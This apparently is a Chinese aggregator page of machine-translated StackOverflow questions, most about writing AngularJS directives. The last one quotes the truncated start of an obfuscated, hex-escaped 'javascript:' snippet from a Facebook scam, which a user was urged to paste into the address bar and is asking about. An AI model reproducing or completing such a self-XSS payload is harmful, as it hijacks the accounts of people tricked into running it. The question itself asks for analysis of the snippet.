草庐IT

恶意指令

全部标签

javascript - 用于 ElevateZoom jQuery 插件的 AngularJS 指令

我正在尝试使用ElevateZoomangular应用程序中的jQuery插件。本质上,要正常使用ElevateZoom,您可以按如下方式创建图像:然后在你的应用程序JS中:$('#my-img').elevateZoom(options);这在标准应用程序中运行良好。但是,当我尝试使用指令在我的AngularJS应用程序中执行此操作时(我遵循了一些SO答案以使用指令将jquery插件转换为Angular)我就是无法使其工作。Plunkr上的实时可编辑演示:http://plnkr.co/edit/Mu4EOcGtGs7XVDDUvnnB?p=preview我的指令是这样的:app.d

javascript - 在指令中监听表单提交事件

我想在指令中监听表单提交。假设我有这样的指令:app.directive('myDirective',function(){return{restrict:'A',require:'^form',scope:{smth:'='},link:function(scope,el,attrs,formCtrl){scope.$watch(function(){returnformCtrl.$submitted;},function(currentValue){console.log('submitted');});}}});用上面的方法我可以看到第一次提交,但不能看到其余的。我试图做这样的事

javascript - AngularJs 指令中的数据绑定(bind)

我很难弄清楚如何确保在创建指令时保持双向数据绑定(bind)。这是我正在使用的东西和fiddle:http://jsfiddle.net/dkrotts/ksb3j/6/HTML:{{bar}}指令:myApp.directive('myMaxlength',['$compile',function($compile){return{restrict:'A',scope:{},link:function(scope,element,attrs,controller){element=$(element);varcounterElement=$compile(angular.elemen

javascript - angularjs 将 ngModel 从包装指令传递到包装指令

我是Angular的新手,仍然在为自定义指令苦苦思索。我想重用这段HTML{{$item.name}}通过将其包装到我的自定义指令中:是这样的:app.directive('languagePicker',function(){return{template:'{{$item.name}}',restrict:'E',require:'ngModel',replace:true....};});但是如何将ngModel从我的language-picker传递到ui-select指令?更新使用下面的建议,我让它与ui-select一起工作,但外部模型根本没有更新,请参见plnkr.co/

javascript - Angularjs 指令删除监视?

我在指令的Controller中声明了一个$scope.$watch。当我更改页面并删除指令时,我是否必须手动销毁方式?如果是这样,我如何检测指令何时被删除? 最佳答案 这取决于作用域,而不是指令。如果作用域被销毁,那么它的所有$watchers都会随之消亡。在页面更改时,您的范围将被Angular破坏,因此您应该是安全的。当作用域死亡时,它会产生一个$destroy事件。你可以观看它:$scope.$on('$destroy',callback);并且您可以通过调用它返回的函数手动将$watchers从作用域中分离出来:varse

javascript - ng-bind 发生在我的指令之后,所以我没有值(value)

我有一个带有ng-bind指令的div元素:我有一个获取元素的指令,检查它的值/文本并根据内容为元素添加颜色。我正在使用这个指令:问题是在执行指令时,div上没有值或文本,因为ng-bind还没有发生。我正在使用element.text()获取文本。知道如何使文本在我的指令中可用吗? 最佳答案 您的指令可能在ngBind绑定(bind)它的值之前运行-您的指令和ngBind都是优先级0,因此任何一个都可以先运行,稍后会详细介绍-但让我们看看ngBindsourcecode查看问题的根源:varngBindDirective=ngDi

javascript - AngularJs - 在指令 Controller 中使用自定义过滤器

场景我有一个包含有关他们的信息的用户数组,我做了一个ng-repeat结合生成HTML用户卡的自定义指令,保持每张卡相对于单个用户的范围,在用户模型有一个值,我需要在编译模板之前使用自定义过滤器进行过滤,因为如果我在模板中执行此操作,过滤所需的时间会使工具提示在值准备就绪之前不显示,看起来好像有什么东西不工作了。到目前为止我的代码//userCarddirectiveangular.module('userCard',[]).directive('UserCard',function(){return{restrict:'EA',templateUrl:'userCard.tpl.ht

javascript - 使用指令 Controller 进行 Angular 缩小?

如果我有以下内容:myapp.directive('directivename',...return{...restrict:'E',controller:MyController,...}functionMyController($scope,$somethingelse){//Contentsofcontrollerhere});如何修改它,使MyController在缩小时不会被销毁?我收到以下错误:Error:[$injector:unpr]Unknownprovider:eProvider 最佳答案 可以使用显式依赖注解来

javascript - 从指令更改 ngModel 值

这个问题在这里已经有了答案:AngularJS-howtochangethevalueofngModelincustomdirective?(5个答案)关闭6年前。我正在使用AngularJS,我创建了一个需要'ngModel'的指令:'usestrict';angular.module('spot.im.embed').directive('sayBox',['$sce','$timeout','$parse',function($sce,$timeout,$parse){return{restrict:'EA',require:'ngModel',scope:{},link:fun

地址栏中的 Javascript - 这是恶意的吗?

我在Facebook上收到一条消息,告诉我将其复制并粘贴到我的地址栏中。我想我会把它贴在这里,看看大家怎么看。它有什么作用?它是如何工作的?这里是源代码://(DONOTDOTHIS!)Javascript:vara=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x6